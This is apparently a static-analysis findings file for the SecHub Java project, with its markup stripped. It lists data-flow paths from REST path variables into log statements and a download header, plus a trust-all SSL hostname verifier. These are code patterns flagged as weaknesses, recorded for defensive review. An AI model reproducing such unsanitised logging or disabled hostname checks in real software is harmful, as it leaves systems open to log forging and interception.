+ 102 + model.put("info", scanResult.getInfo()); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 104 + 10 + 15 + model + + 5 + + + 104 + return model; + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 69 + 53 + 16 + build + + 1 + + + 69 + Map<String, Object> model = htmlModelBuilder.build(scanResult); + + + + + + + + + + + com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java + 35 + 22 + 1 + ""SHA-256"" + + 9 + + + 35 + String algorithm = "SHA-256"; + + + + + com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java + 35 + 10 + 2 + algorithm + + 9 + + + 35 + String algorithm = "SHA-256"; + + + + + com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java + 37 + 35 + 3 + algorithm + + 9 + + + 37 + md = MessageDigest.getInstance(algorithm); + + + + + com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java + 37 + 34 + 4 + getInstance + + 1 + + + 37 + md = MessageDigest.getInstance(algorithm); + + + + + com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java + 37 + 4 + 5 + md + + 2 + + + 37 + md = MessageDigest.getInstance(algorithm); + + + + + com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java + 42 + 91 + 6 + md + + 2 + + + 42 + try (DigestInputStream dis = new DigestInputStream(new FileInputStream(filepath), md)) { + + + + + com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java + 42 + 38 + 7 + DigestInputStream + + 3 + + + 42 + try (DigestInputStream dis = new DigestInputStream(new FileInputStream(filepath), md)) { + + + + + com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java + 42 + 96 + 8 + dis + + 1 + + + 42 + try (DigestInputStream dis = new DigestInputStream(new FileInputStream(filepath), md)) { + + + + + com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java + 43 + 20 + 9 + dis + + 3 + + + 43 + while (dis.read() != -1) ; //empty loop to clear the data + + + + + com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java + 44 + 18 + 10 + dis + + 3 + + + 44 + md = dis.getMessageDigest(); + + + + + com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java + 44 + 38 + 11 + getMessageDigest + + 1 + + + 44 + md = dis.getMessageDigest(); + + + + + com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java + 44 + 13 + 12 + md + + 2 + + + 44 + md = dis.getMessageDigest(); + + + + + com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java + 51 + 23 + 13 + md + + 2 + + + 51 + for (byte b : md.digest()) { + + + + + com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java + 51 + 32 + 14 + digest + + 1 + + + 51 + for (byte b : md.digest()) { + + + + + + + + + + + com/daimler/sechub/adapter/support/TrustAllSupport.java + 89 + 45 + 1 + anonymous_class_90_20 + + 16 + + + 89 + clientBuilder.setSSLHostnameVerifier(new HostnameVerifier() { + + + + + + + + + + + com/daimler/sechub/domain/scan/admin/FullScanDataRestController.java + 45 + 40 + 1 + sechubJobUUID + + 13 + + + 45 + @PathVariable("sechubJobUUID") UUID sechubJobUUID, HttpServletResponse response + + + + + com/daimler/sechub/domain/scan/admin/FullScanDataRestController.java + 50 + 86 + 2 + sechubJobUUID + + 13 + + + 50 + response.setHeader("Content-Disposition", "attachment; filename=full_scandata_"+sechubJobUUID.toString()+".zip"); + + + + + com/daimler/sechub/domain/scan/admin/FullScanDataRestController.java + 50 + 108 + 3 + toString + + 1 + + + 50 + response.setHeader("Content-Disposition", "attachment; filename=full_scandata_"+sechubJobUUID.toString()+".zip"); + + + + + com/daimler/sechub/domain/scan/admin/FullScanDataRestController.java + 50 + 24 + 4 + setHeader + + 1 + + + 50 + response.setHeader("Content-Disposition", "attachment; filename=full_scandata_"+sechubJobUUID.toString()+".zip"); + + + + + + + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 51 + 31 + 1 + getHeaders + + 1 + + + 51 + sb.append(request.getHeaders().toString()); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 51 + 42 + 2 + toString + + 1 + + + 51 + sb.append(request.getHeaders().toString()); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 51 + 12 + 3 + append + + 1 + + + 51 + sb.append(request.getHeaders().toString()); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 52 + 3 + 4 + sb + + 2 + + + 52 + sb.append("\n URI:"); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 53 + 3 + 5 + sb + + 2 + + + 53 + sb.append(request.getURI().toString()); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 54 + 3 + 6 + sb + + 2 + + + 54 + sb.append("\n Body:\n"); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 55 + 3 + 7 + sb + + 2 + + + 55 + sb.append(new String(body, "UTF-8")); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 56 + 3 + 8 + sb + + 2 + + + 56 + sb.append("\n\nResponse:"); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 57 + 3 + 9 + sb + + 2 + + + 57 + sb.append("\n Status:"); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 58 + 3 + 10 + sb + + 2 + + + 58 + sb.append(response.getStatusCode()); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 59 + 3 + 11 + sb + + 2 + + + 59 + sb.append(":"); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 60 + 3 + 12 + sb + + 2 + + + 60 + sb.append(response.getStatusText()); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 61 + 3 + 13 + sb + + 2 + + + 61 + sb.append("\n Headers:"); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 62 + 3 + 14 + sb + + 2 + + + 62 + sb.append(response.getHeaders().toString()); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 63 + 3 + 15 + sb + + 2 + + + 63 + sb.append("\n Body:"); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 65 + 4 + 16 + sb + + 2 + + + 65 + sb.append(buffer.lines().collect(Collectors.joining("\n"))); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 69 + 3 + 17 + sb + + 2 + + + 69 + sb.append(response.getHeaders().toString()); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 71 + 20 + 18 + sb + + 2 + + + 71 + String message = sb.toString(); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 71 + 31 + 19 + toString + + 1 + + + 71 + String message = sb.toString(); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 71 + 10 + 20 + message + + 7 + + + 71 + String message = sb.toString(); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 72 + 13 + 21 + message + + 7 + + + 72 + LOG.debug(message); + + + + + com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java + 72 + 12 + 22 + debug + + 1 + + + 72 + LOG.debug(message); + + + + + + + + + com/daimler/sechub/adapter/support/MockSupport.java + 31 + 30 + 1 + readLine + + 1 + + + 31 + while ((line = br.readLine()) != null) { + + + + + com/daimler/sechub/adapter/support/MockSupport.java + 31 + 34 + 2 + != + + 2 + + + 31 + while ((line = br.readLine()) != null) { + + + + + com/daimler/sechub/adapter/support/MockSupport.java + 32 + 15 + 3 + line + + 4 + + + 32 + sb.append(line); + + + + + com/daimler/sechub/adapter/support/MockSupport.java + 32 + 14 + 4 + append + + 1 + + + 32 + sb.append(line); + + + + + com/daimler/sechub/adapter/support/MockSupport.java + 33 + 5 + 5 + sb + + 2 + + + 33 + sb.append("\n"); + + + + + com/daimler/sechub/adapter/support/MockSupport.java + 38 + 10 + 6 + sb + + 2 + + + 38 + return sb.toString(); + + + + + com/daimler/sechub/adapter/support/MockSupport.java + 38 + 21 + 7 + toString + + 1 + + + 38 + return sb.toString(); + + + + + com/daimler/sechub/adapter/mock/AbstractMockedAdapter.java + 64 + 51 + 8 + loadResourceString + + 1 + + + 64 + String resource = mockSupport.loadResourceString(resultFilePath); + + + + + com/daimler/sechub/adapter/mock/AbstractMockedAdapter.java + 64 + 10 + 9 + resource + + 8 + + + 64 + String resource = mockSupport.loadResourceString(resultFilePath); + + + + + com/daimler/sechub/adapter/mock/AbstractMockedAdapter.java + 65 + 10 + 10 + resource + + 8 + + + 65 + return resource; + + + + + com/daimler/sechub/adapter/mock/AbstractMockedAdapter.java + 47 + 41 + 11 + loadResultAsConfigured + + 1 + + + 47 + String result = loadResultAsConfigured(setup, target); + + + + + com/daimler/sechub/adapter/mock/AbstractMockedAdapter.java + 47 + 10 + 12 + result + + 6 + + + 47 + String result = loadResultAsConfigured(setup, target); + + + + + com/daimler/sechub/adapter/mock/AbstractMockedAdapter.java + 51 + 36 + 13 + result + + 6 + + + 51 + LOG.debug("Returning content:{}",result); + + + + + com/daimler/sechub/adapter/mock/AbstractMockedAdapter.java + 51 + 12 + 14 + debug + + 1 + + + 51 + LOG.debug("Returning content:{}",result); + + + + + + + + + com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 94 + 92 + 1 + userId + + 6 + + + 94 + public ProjectDetailInformation showProjectDetails(@PathVariable(name="projectId") String userId) { + + + + + com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 96 + 38 + 2 + userId + + 6 + + + 96 + return detailsService.fetchDetails(userId); + + + + + com/daimler/sechub/domain/administration/project/ProjectDetailInformationService.java + 32 + 54 + 3 + projectId + + 9 + + + 32 + public ProjectDetailInformation fetchDetails(String projectId) { + + + + + com/daimler/sechub/domain/administration/project/ProjectDetailInformationService.java + 33 + 55 + 4 + projectId + + 9 + + + 33 + LOG.debug("fetching project details for project:{}",projectId); + + + + + com/daimler/sechub/domain/administration/project/ProjectDetailInformationService.java + 33 + 12 + 5 + debug + + 1 + + + 33 + LOG.debug("fetching project details for project:{}",projectId); + + + + + + + + + com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 111 + 73 + 1 + projectId + + 9 + + + 111 + public void assignUserToProject(@PathVariable(name="projectId") String projectId, @PathVariable(name="userId") String userId) { + + + + + com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 113 + 58 + 2 + projectId + + 9 + + + 113 + assignUserToProjectService.assignUserToProject(userId, projectId); + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 49 + 56 + 3 + projectId + + 9 + + + 49 + public void assignUserToProject(String userId, String projectId) { + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 50 + 57 + 4 + projectId + + 9 + + + 50 + Project project = projectRepository.findOrFailProject(projectId); + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 50 + 56 + 5 + findOrFailProject + + 1 + + + 50 + Project project = projectRepository.findOrFailProject(projectId); + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 50 + 11 + 6 + project + + 7 + + + 50 + Project project = projectRepository.findOrFailProject(projectId); + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 52 + 24 + 7 + getUsers + + 1 + + + 52 + if (!project.getUsers().add(user)) { + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 52 + 24 + 8 + getUsers + + 1 + + + 52 + if (!project.getUsers().add(user)) { + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 56 + 19 + 9 + getUsers + + 1 + + + 56 + project.getUsers().add(user); + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 56 + 19 + 10 + getUsers + + 1 + + + 56 + project.getUsers().add(user); + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 60 + 91 + 11 + getId + + 1 + + + 60 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getId()); + + + + + com/daimler/sechub/domain/administration/project/Project.java + 87 + 10 + 12 + id + + 2 + + + 87 + return id; + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 60 + 91 + 13 + getId + + 1 + + + 60 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getId()); + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 60 + 12 + 14 + debug + + 1 + + + 60 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getId()); + + + + + + + + + com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 111 + 120 + 1 + userId + + 6 + + + 111 + public void assignUserToProject(@PathVariable(name="projectId") String projectId, @PathVariable(name="userId") String userId) { + + + + + com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 113 + 50 + 2 + userId + + 6 + + + 113 + assignUserToProjectService.assignUserToProject(userId, projectId); + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 49 + 41 + 3 + userId + + 6 + + + 49 + public void assignUserToProject(String userId, String projectId) { + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 51 + 45 + 4 + userId + + 6 + + + 51 + User user = userRepository.findOrFailUser(userId); + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 51 + 44 + 5 + findOrFailUser + + 1 + + + 51 + User user = userRepository.findOrFailUser(userId); + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 51 + 8 + 6 + user + + 4 + + + 51 + User user = userRepository.findOrFailUser(userId); + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 55 + 19 + 7 + getProjects + + 1 + + + 55 + user.getProjects().add(project); + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 55 + 19 + 8 + getProjects + + 1 + + + 55 + user.getProjects().add(project); + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 60 + 62 + 9 + user + + 4 + + + 60 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getId()); + + + + + com/daimler/sechub/domain/administration/user/User.java + 106 + 10 + 10 + name + + 4 + + + 106 + return name; + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 60 + 74 + 11 + getName + + 1 + + + 60 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getId()); + + + + + com/daimler/sechub/domain/administration/project/ProjectAssignUserService.java + 60 + 12 + 12 + debug + + 1 + + + 60 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getId()); + + + + + + + + + com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 120 + 77 + 1 + projectId + + 9 + + + 120 + public void unassignUserFromProject(@PathVariable(name="projectId") String projectId, @PathVariable(name="userId") String userId) { + + + + + com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 122 + 64 + 2 + projectId + + 9 + + + 122 + unassignUserToProjectService.unassignUserFromProject(userId, projectId); + + + + + com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 45 + 60 + 3 + projectId + + 9 + + + 45 + public void unassignUserFromProject(String userId, String projectId) { + + + + + com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 46 + 57 + 4 + projectId + + 9 + + + 46 + Project project = projectRepository.findOrFailProject(projectId); + + + + + com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 46 + 56 + 5 + findOrFailProject + + 1 + + + 46 + Project project = projectRepository.findOrFailProject(projectId); + + + + + com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 46 + 11 + 6 + project + + 7 + + + 46 + Project project = projectRepository.findOrFailProject(projectId); + + + + + com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 48 + 24 + 7 + getUsers + + 1 + + + 48 + if (!project.getUsers().remove(user)) { + + + + + com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 48 + 8 + 8 + project + + 7 + + + 48 + if (!project.getUsers().remove(user)) { + + + + + com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 56 + 91 + 9 + getId + + 1 + + + 56 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getId()); + + + + + com/daimler/sechub/domain/administration/project/Project.java + 87 + 10 + 10 + id + + 2 + + + 87 + return id; + + + + + com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 56 + 91 + 11 + getId + + 1 + + + 56 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getId()); + + + + + com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 56 + 12 + 12 + debug + + 1 + + + 56 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getId()); + + + + + + + + + com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 120 + 124 + 1 + userId + + 6 + + + 120 + public void unassignUserFromProject(@PathVariable(name="projectId") String projectId, @PathVariable(name="userId") String userId) { + + + + + com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 122 + 56 + 2 + userId + + 6 + + + 122 + unassignUserToProjectService.unassignUserFromProject(userId, projectId); + + + + + com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 45 + 45 + 3 + userId + + 6 + + + 45 + public void unassignUserFromProject(String userId, String projectId) { + + + + + com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 47 + 45 + 4 + userId + + 6 + + + 47 + User user = userRepository.findOrFailUser(userId); + + + + + com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 47 + 44 + 5 + findOrFailUser + + 1 + + + 47 + User user = userRepository.findOrFailUser(userId); + + + + + com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 47 + 8 + 6 + user + + 4 + + + 47 + User user = userRepository.findOrFailUser(userId); + + + + + com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 51 + 19 + 7 + getProjects + + 1 + + + 51 + user.getProjects().remove(project); + + + + + com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 51 + 19 + 8 + getProjects + + 1 + + + 51 + user.getProjects().remove(project); + + + + + com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 56 + 62 + 9 + user + + 4 + + + 56 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getId()); + + + + + com/daimler/sechub/domain/administration/user/User.java + 106 + 10 + 10 + name + + 4 + + + 106 + return name; + + + + + com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 56 + 74 + 11 + getName + + 1 + + + 56 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getId()); + + + + + com/daimler/sechub/domain/administration/project/ProjectUnassignUserService.java + 56 + 12 + 12 + debug + + 1 + + + 56 + LOG.debug("Persisted assignment of user:{} to project:{}", user.getName(), project.getId()); + + + + + + + + + com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 128 + 67 + 1 + projectId + + 9 + + + 128 + public void deleteProject(@PathVariable(name="projectId") String projectId) { + + + + + com/daimler/sechub/domain/administration/project/ProjectAdministrationRestController.java + 130 + 30 + 2 + projectId + + 9 + + + 130 + deleteService.deletProject(projectId); + + + + + com/daimler/sechub/domain/administration/project/ProjectDeleteService.java + 35 + 34 + 3 + projectId + + 9 + + + 35 + public void deletProject(String projectId) { + + + + + com/daimler/sechub/domain/administration/project/ProjectDeleteService.java + 36 + 85 + 4 + projectId + + 9 + + + 36 + LOG.info("Administrator {} triggers delete of project {}",userContext.getUserId(),projectId); + + + + + com/daimler/sechub/domain/administration/project/ProjectDeleteService.java + 36 + 11 + 5 + info + + 1 + + + 36 + LOG.info("Administrator {} triggers delete of project {}",userContext.getUserId(),projectId); + + + + + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateAdministrationRestController.java + 62 + 124 + 1 + projectId + + 9 + + + 62 + public void updateProjectWhitelist(@Validated @RequestBody ProjectJsonInput input, @PathVariable(name="projectId") String projectId) { + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateAdministrationRestController.java + 72 + 56 + 2 + projectId + + 9 + + + 72 + updateProjectWhitelistService.updateProjectWhitelist(projectId,whiteList); + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 50 + 53 + 3 + projectId + + 9 + + + 50 + public void updateProjectWhitelist(@NotNull String projectId, @NotNull List<URI> whitelist) { + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 54 + 49 + 4 + projectId + + 9 + + + 54 + Optional<Project> found = repository.findById(projectId); + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 54 + 48 + 5 + findById + + 1 + + + 54 + Optional<Project> found = repository.findById(projectId); + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 54 + 21 + 6 + found + + 5 + + + 54 + Optional<Project> found = repository.findById(projectId); + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 55 + 8 + 7 + found + + 5 + + + 55 + if (!found.isPresent()) { + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 63 + 21 + 8 + found + + 5 + + + 63 + Project project = found.get(); + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 63 + 30 + 9 + get + + 1 + + + 63 + Project project = found.get(); + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 63 + 11 + 10 + project + + 7 + + + 63 + Project project = found.get(); + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 64 + 47 + 11 + getWhiteList + + 1 + + + 64 + Set<URI> oldWhiteList = project.getWhiteList(); + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 64 + 27 + 12 + project + + 7 + + + 64 + Set<URI> oldWhiteList = project.getWhiteList(); + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 70 + 62 + 13 + getId + + 1 + + + 70 + LOG.debug("Updated whitelist for project {}", project.getId()); + + + + + com/daimler/sechub/domain/administration/project/Project.java + 87 + 10 + 14 + id + + 2 + + + 87 + return id; + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 70 + 62 + 15 + getId + + 1 + + + 70 + LOG.debug("Updated whitelist for project {}", project.getId()); + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 70 + 12 + 16 + debug + + 1 + + + 70 + LOG.debug("Updated whitelist for project {}", project.getId()); + + + + + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateAdministrationRestController.java + 62 + 124 + 1 + projectId + + 9 + + + 62 + public void updateProjectWhitelist(@Validated @RequestBody ProjectJsonInput input, @PathVariable(name="projectId") String projectId) { + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateAdministrationRestController.java + 72 + 56 + 2 + projectId + + 9 + + + 72 + updateProjectWhitelistService.updateProjectWhitelist(projectId,whiteList); + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 50 + 53 + 3 + projectId + + 9 + + + 50 + public void updateProjectWhitelist(@NotNull String projectId, @NotNull List<URI> whitelist) { + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 52 + 30 + 4 + projectId + + 9 + + + 52 + userContext.getUserId(), projectId, whitelist); + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateWhitelistService.java + 51 + 11 + 5 + info + + 1 + + + 51 + LOG.info("User {} triggers update of whitelist for project {}. Allowed URIs shall be {}", + + + + + + + + + com/daimler/sechub/domain/administration/signup/SignupAdministrationRestController.java + 42 + 63 + 1 + userId + + 6 + + + 42 + public void deleteSignup(@PathVariable(name="userId") String userId) { + + + + + com/daimler/sechub/domain/administration/signup/SignupAdministrationRestController.java + 43 + 24 + 2 + userId + + 6 + + + 43 + deleteService.delete(userId); + + + + + com/daimler/sechub/domain/administration/signup/SignupDeleteService.java + 28 + 28 + 3 + userId + + 6 + + + 28 + public void delete(String userId) { + + + + + com/daimler/sechub/domain/administration/signup/SignupDeleteService.java + 32 + 56 + 4 + userId + + 6 + + + 32 + LOG.info("Existing user signup for {} deleted by {}",userId,userContextService.getUserId()); + + + + + com/daimler/sechub/domain/administration/signup/SignupDeleteService.java + 32 + 11 + 5 + info + + 1 + + + 32 + LOG.info("Existing user signup for {} deleted by {}",userId,userContextService.getUserId()); + + + + + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserGetApiTokenByOneTimeTokenRestController.java + 33 + 66 + 1 + oneTimeToken + + 12 + + + 33 + public String getNewAPITokenByOneTimeToken(@PathVariable String oneTimeToken) { + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserGetApiTokenByOneTimeTokenRestController.java + 35 + 89 + 2 + oneTimeToken + + 12 + + + 35 + return createUserAPITokenByOneTimeTokenService.createNewAPITokenForUserByOneTimeToken(oneTimeToken); + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserGetAPITokenByOneTimeTokenService.java + 48 + 62 + 3 + oneTimeToken + + 12 + + + 48 + public String createNewAPITokenForUserByOneTimeToken(String oneTimeToken) { + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserGetAPITokenByOneTimeTokenService.java + 52 + 7 + 4 + oneTimeToken + + 12 + + + 52 + if (oneTimeToken.isEmpty()) { + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserGetAPITokenByOneTimeTokenService.java + 59 + 6 + 5 + oneTimeToken + + 12 + + + 59 + oneTimeToken); + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserGetAPITokenByOneTimeTokenService.java + 57 + 12 + 6 + warn + + 1 + + + 57 + LOG.warn( + + + + + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserGetApiTokenByOneTimeTokenRestController.java + 33 + 66 + 1 + oneTimeToken + + 12 + + + 33 + public String getNewAPITokenByOneTimeToken(@PathVariable String oneTimeToken) { + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserGetApiTokenByOneTimeTokenRestController.java + 35 + 89 + 2 + oneTimeToken + + 12 + + + 35 + return createUserAPITokenByOneTimeTokenService.createNewAPITokenForUserByOneTimeToken(oneTimeToken); + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserGetAPITokenByOneTimeTokenService.java + 48 + 62 + 3 + oneTimeToken + + 12 + + + 48 + public String createNewAPITokenForUserByOneTimeToken(String oneTimeToken) { + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserGetAPITokenByOneTimeTokenService.java + 52 + 7 + 4 + oneTimeToken + + 12 + + + 52 + if (oneTimeToken.isEmpty()) { + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserGetAPITokenByOneTimeTokenService.java + 68 + 6 + 5 + oneTimeToken + + 12 + + + 68 + oneTimeToken); + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserGetAPITokenByOneTimeTokenService.java + 66 + 12 + 6 + warn + + 1 + + + 66 + LOG.warn( + + + + + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestNewApiTokenRestController.java + 34 + 106 + 1 + emailAdress + + 11 + + + 34 + public void anonymousRequestToGetNewApiTokenForUserMailAdress(@PathVariable(name="emailAddress") String emailAdress) { + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestNewApiTokenRestController.java + 36 + 72 + 2 + emailAdress + + 11 + + + 36 + newApiTokenService.anonymousRequestToGetNewApiTokenForUserMailAdress(emailAdress); + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java + 39 + 71 + 3 + userEmail + + 9 + + + 39 + public void anonymousRequestToGetNewApiTokenForUserMailAdress(String userEmail) { + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java + 44 + 77 + 4 + userEmail + + 9 + + + 44 + LOG.warn("Anonymous request to get new api token, but user unknown: {})",userEmail); + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java + 44 + 12 + 5 + warn + + 1 + + + 44 + LOG.warn("Anonymous request to get new api token, but user unknown: {})",userEmail); + + + + + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestNewApiTokenRestController.java + 34 + 106 + 1 + emailAdress + + 11 + + + 34 + public void anonymousRequestToGetNewApiTokenForUserMailAdress(@PathVariable(name="emailAddress") String emailAdress) { + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestNewApiTokenRestController.java + 36 + 72 + 2 + emailAdress + + 11 + + + 36 + newApiTokenService.anonymousRequestToGetNewApiTokenForUserMailAdress(emailAdress); + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java + 39 + 71 + 3 + userEmail + + 9 + + + 39 + public void anonymousRequestToGetNewApiTokenForUserMailAdress(String userEmail) { + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java + 41 + 59 + 4 + userEmail + + 9 + + + 41 + Optional<User> found = userRepository.findByEmailAdress(userEmail); + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java + 41 + 58 + 5 + findByEmailAdress + + 1 + + + 41 + Optional<User> found = userRepository.findByEmailAdress(userEmail); + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java + 41 + 18 + 6 + found + + 5 + + + 41 + Optional<User> found = userRepository.findByEmailAdress(userEmail); + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java + 42 + 9 + 7 + found + + 5 + + + 42 + if (! found.isPresent()) { + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java + 48 + 43 + 8 